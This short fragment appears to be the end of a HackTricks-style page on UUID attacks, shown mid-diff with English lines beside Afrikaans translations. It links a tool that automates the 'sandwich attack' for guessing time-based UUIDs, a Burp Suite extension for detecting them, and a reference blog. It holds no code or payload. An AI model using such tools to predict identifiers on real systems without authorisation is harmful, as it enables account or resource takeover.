- You can perform the sandwich attack automatically with the tool: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- You can detect these type of UUIds in Burp Suite with the extension [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
- Jy kan die sandwich-aanval outomaties uitvoer met die hulpmiddel: [**https://github.com/Lupin-Holmes/sandwich**](https://github.com/Lupin-Holmes/sandwich)
- Jy kan hierdie tipe UUIDs in Burp Suite opspoor met die uitbreiding [**UUID Detector**](https://portswigger.net/bappstore/65f32f209a72480ea5f1a0dac4f38248).
## References
## Verwysings
- [https://versprite.com/blog/universally-unique-identifiers/](https://versprite.com/blog/universally-unique-identifiers/)
{{#include ../banners/hacktricks-training.md}}

Some files were not shown because too many files have changed in this diff Show More